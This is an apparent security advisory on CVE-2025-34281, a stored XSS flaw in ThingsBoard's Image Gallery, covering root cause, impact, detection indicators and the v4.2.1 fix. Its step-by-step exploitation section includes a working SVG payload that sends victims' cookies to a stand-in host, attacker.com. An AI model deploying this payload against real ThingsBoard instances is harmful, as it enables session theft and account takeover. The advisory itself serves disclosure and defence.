CVE-2025-34281: 
Java vulnerability analysis and mitigation

CVE-2025-34281 is a Stored Cross-Site Scripting (XSS) vulnerability in ThingsBoard, an open-source IoT platform, affecting all versions prior to v4.2.1. Authenticated users can upload malicious SVG images via the "Image Gallery" feature, which are then served without JavaScript execution restrictions, enabling stored XSS attacks against other users. The vulnerability was published on October 18, 2025, and patched in the v4.2.1 release. It carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 6.2 (Medium) (Red Hat CVE, ThingsBoard Release).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically in the ImageController class, which fails to apply a Content-Security-Policy (CSP) header when serving images via the download image API (ThingsBoard Commit). Because SVG files can embed JavaScript, and the controller served them without restricting script execution, any SVG uploaded to the Image Gallery could execute arbitrary JavaScript in a victim's browser. The exploit can be triggered in two ways: a victim directly accesses the public API endpoint of the malicious SVG, or the SVG is embedded in an iframe within a widget deployed to a dashboard or other platform page (Red Hat CVE). The attack requires low privileges (an authenticated account) and passive user interaction from the victim.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browser sessions, potentially compromising their accounts, stealing session tokens, and performing unauthorized actions on the ThingsBoard platform (Red Hat CVE). The scope is changed (cross-origin), meaning the impact extends beyond the attacker's own session to affect other users, including potentially administrators. Confidentiality and integrity impacts are rated low-to-high at the subsystem level, while availability is not directly affected.

No public proof-of-concept exploit code or in-the-wild exploitation has been reported for CVE-2025-34281. The EPSS score is approximately 0.044% (0.000440), indicating a low probability of exploitation in the near term (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a low-privileged authenticated account on the ThingsBoard instance, limiting the attack surface compared to unauthenticated vulnerabilities.

1. Gain authenticated access: Obtain a low-privileged user account on the target ThingsBoard instance (e.g., a tenant or customer account).
2. Craft a malicious SVG: Create an SVG file containing embedded JavaScript, such as <svg xmlns="http://www.w3.org/2000/svg"><script>document.location='https://attacker.com/steal?c='+document.cookie</script></svg>.
3. Upload via Image Gallery: Navigate to the ThingsBoard Image Gallery and upload the crafted SVG file as an image asset.
4. Deliver the payload: Either share the public API endpoint URL of the uploaded SVG with a victim, or embed the SVG in an iframe within a widget and deploy it to a dashboard accessible to other users.
5. Trigger execution: When a victim's browser loads the SVG (directly via the API endpoint or through the embedded widget), the JavaScript executes in their session context, enabling session hijacking, credential theft, or unauthorized actions (Red Hat CVE, ThingsBoard Commit).

• Network: Unexpected outbound HTTP requests from users' browsers to external domains shortly after accessing ThingsBoard dashboards or image API endpoints; unusual GET requests to ThingsBoard image download API endpoints (/api/images/...) from multiple user sessions.
• Logs: ThingsBoard access logs showing SVG files uploaded to the Image Gallery by low-privileged accounts; repeated access to the same image API endpoint from different user accounts.
• File System: Presence of SVG files in the ThingsBoard image storage containing <script> tags or JavaScript event handlers (e.g., onload, onerror).
• Browser/Application: Users reporting unexpected redirects, pop-ups, or session anomalies after viewing dashboards containing image widgets.

ThingsBoard addressed this vulnerability in version 4.2.1 by adding a Content-Security-Policy: default-src 'none' response header to the image download API in ImageController.java, preventing JavaScript execution when SVG images are loaded by browsers (ThingsBoard Commit, ThingsBoard Release). All users should upgrade to ThingsBoard v4.2.1 or later as the primary remediation. As a temporary workaround prior to patching, administrators should restrict Image Gallery upload permissions to trusted users only and audit existing uploaded SVG files for embedded scripts.